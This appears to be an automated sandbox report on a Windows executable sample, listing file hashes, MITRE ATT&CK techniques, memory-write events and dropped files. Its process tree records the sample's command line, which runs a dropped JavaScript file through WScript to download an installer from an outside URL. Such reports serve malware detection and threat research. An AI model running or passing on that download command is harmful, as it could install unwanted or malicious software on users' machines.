40045260648bd3cf36ee255a5e7f3d8f96862d31d2f5b881fcf5b5e9b94855ef

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
20/05/2024, 02:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe
Size

184KB
MD5

5ca6bae0eef6e6c8d8c0e7ce213bc113
SHA1

5446fdcf8f3ba9da07e66aafeb3791ca59615ffe
SHA256

40045260648bd3cf36ee255a5e7f3d8f96862d31d2f5b881fcf5b5e9b94855ef
SHA512

85bb06c5385cdb8d31d9462d0f06d37b4ddbc7bd2ca9050197502568f4dd85a61a829c0abe13a5a650bd414c46a84b58911d973de29fccfecb0787c69b709e0b
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO376:/7BSH8zUB+nGESaaRvoB7FJNndn06

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	1212	WScript.exe
8	1212	WScript.exe
10	1212	WScript.exe
12	2660	WScript.exe
13	2660	WScript.exe
15	2888	WScript.exe
16	2888	WScript.exe
18	1124	WScript.exe
19	1124	WScript.exe
21	1964	WScript.exe
22	1964	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 1212	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	28
PID 1724 wrote to memory of 1212	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	28
PID 1724 wrote to memory of 1212	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	28
PID 1724 wrote to memory of 1212	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	28
PID 1724 wrote to memory of 2660	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	30
PID 1724 wrote to memory of 2660	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	30
PID 1724 wrote to memory of 2660	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	30
PID 1724 wrote to memory of 2660	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	30
PID 1724 wrote to memory of 2888	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	32
PID 1724 wrote to memory of 2888	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	32
PID 1724 wrote to memory of 2888	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	32
PID 1724 wrote to memory of 2888	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	32
PID 1724 wrote to memory of 1124	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	34
PID 1724 wrote to memory of 1124	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	34
PID 1724 wrote to memory of 1124	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	34
PID 1724 wrote to memory of 1124	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	34
PID 1724 wrote to memory of 1964	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	36
PID 1724 wrote to memory of 1964	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	36
PID 1724 wrote to memory of 1964	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	36
PID 1724 wrote to memory of 1964	1724	5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1304.js" http://www.djapp.info/?domain=FJGtzeqCcv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf1304.exe
  2⤵
  - Blocklisted process makes network request
  PID:1212
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1304.js" http://www.djapp.info/?domain=FJGtzeqCcv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf1304.exe
  2⤵
  - Blocklisted process makes network request
  PID:2660
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1304.js" http://www.djapp.info/?domain=FJGtzeqCcv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf1304.exe
  2⤵
  - Blocklisted process makes network request
  PID:2888
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1304.js" http://www.djapp.info/?domain=FJGtzeqCcv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf1304.exe
  2⤵
  - Blocklisted process makes network request
  PID:1124
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1304.js" http://www.djapp.info/?domain=FJGtzeqCcv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf1304.exe
  2⤵
  - Blocklisted process makes network request
  PID:1964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
cbc282c89eaf33dcc25496b655dd3335

SHA1
12d03e52947a33c0aa0cb46699d361ea92c319d2

SHA256
ed35539ae2e3de90b4d09f6dbed4fc19febf9c5ec3b9e54bbe6b972a89bd63c0

SHA512
eb2411b661feeccc44ea7b9bf096279a9c5a9fd504836ba827fcb9b6a815796a8fd4b03c8ec0e36ea7eebe82c0f059cbca3509e52a400921401a1b485bcc360b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
41f10ba079e02584bf16d6db94fbfb4a

SHA1
f040a0670b1ee38e97e898f7fe48116ead8dc3e9

SHA256
65e73362c2907ec8a0d3094093176b6c20f6ac93b91c6a37fbc51d0d55c4ff6a

SHA512
b954530c6714527a67e0218353cff2c2d9e366b87002da8d62503a84727153b66796d0e2a81bf9ad63632d9b3ab9c6372a08ec1b63c67ce84aaaa3fb6c7563b8

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
345b3ed0ecb206e6d6365fff4bb4b872

SHA1
bf811a084db064cbe388aa206472bf6bdcbf7c5a

SHA256
7140a955681ebaa3b81af895a5385f9b735d8d4dee94996eeab487bcf1075191

SHA512
0c55db80bb5df927141ff5b5c17b98ee4ebbcb3f0885f37ac9fde111077f076fb106a4fb848101f9b779cfe84041e1a275773031409ca30059cca5d51a341d05

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
a40b46b413e77b8fea8b96fc24cfb3e0

SHA1
2f79646227f68515934f1b4a6e3326e58cd109a5

SHA256
4c094428228881ad565caa53ec0ee5bd307a63d846af1052dccd6304bda1c4ae

SHA512
0e2912d3948bdd522403dc7d81ff40903c9c4901678a59871387a3c4956bbf767d9b6c5e9aab8f183fbb5bce8a614db82b1f363cdd811612b3d9fcd8127c9187

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3NPBB818\domain_profile[1].htm

Filesize
6KB

MD5
0014f7f73165c9c72966b818a2e7a47e

SHA1
60505afcf34fa9bf3625fe2a1eff57f4cd468c94

SHA256
ac4cc42146667344cd2adc998ac1e206bf43dae5b5641b3a549c239f3f353098

SHA512
19237a998167eed854fa3b0dbbe56755aebab8f3406644e2f9c5c32d91c1878c5ef346e4d5266fedc69563cecae12278d65ed0ae2680e93c95287b7d9e357e19

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3NPBB818\domain_profile[1].htm

Filesize
6KB

MD5
b1540e17ae750255ed0951865f450086

SHA1
83c1a3a70370f992f4d77d57f6ebe93c6cdeb8a8

SHA256
50e051a51f5ba8134bdb5943d81f1300edc1580192dbdbf289d791a344ca7dff

SHA512
e65199239d234ca724827917d1b3f888fc53843d5e6800fe1de4797aa6465f94a64d96c6409ac492f0c32fc87e86df49ec0fe3218a752aceea863b740d145055

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\domain_profile[1].htm

Filesize
40KB

MD5
2dbd5286ae501d6727eadf15a682a102

SHA1
73f6f9b5aa82ee4956f64d41490e722948b77a96

SHA256
902262eae1f30a0cade2521aaf255f63565a13e693825c48f859ca5d5a4ab5d5

SHA512
724624bae253b8e58eabfcf9bda78f8b0f0382e189ecbb51572c5d5be3783579c3bde80e9f010578de503a59be48793316894bef069d92b04509ad3f0d4f45c0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\domain_profile[1].htm

Filesize
6KB

MD5
02099a6db677d12df540040411cc2905

SHA1
bc25fad0ea4d93d9e90569518e3591f538e3acea

SHA256
ebd7127c1f36f104b3f58efb5435394219de82081071b27b5ca207cdfabeff4a

SHA512
20cccf8a24de0d96528dcf459d8f238faacee7ffa9fe613d25ab6e6ea8166bb49cba364b150558e1de891e82078054fa6312cc38f07e310cce9c80e763d4c3a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab425D.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5B4B.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf1304.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\KY0HAMR8.txt

Filesize
177B

MD5
738d063caf65a02853c3c9bbef642144

SHA1
107553583588d76b6d224dec93424baea843c6f9

SHA256
9f02ea6e702f61dad2bab84a5e34b946aafe1664450fda55e716efcc9ae874be

SHA512
3861df6dec822bc5a002688ec738d4414dc72dbeff9f75d950302c510708323eb9b6da0106b9dcf7f10bafab93d3f30f87bbf6cfc77f50f495ea68036410badf

Download Submit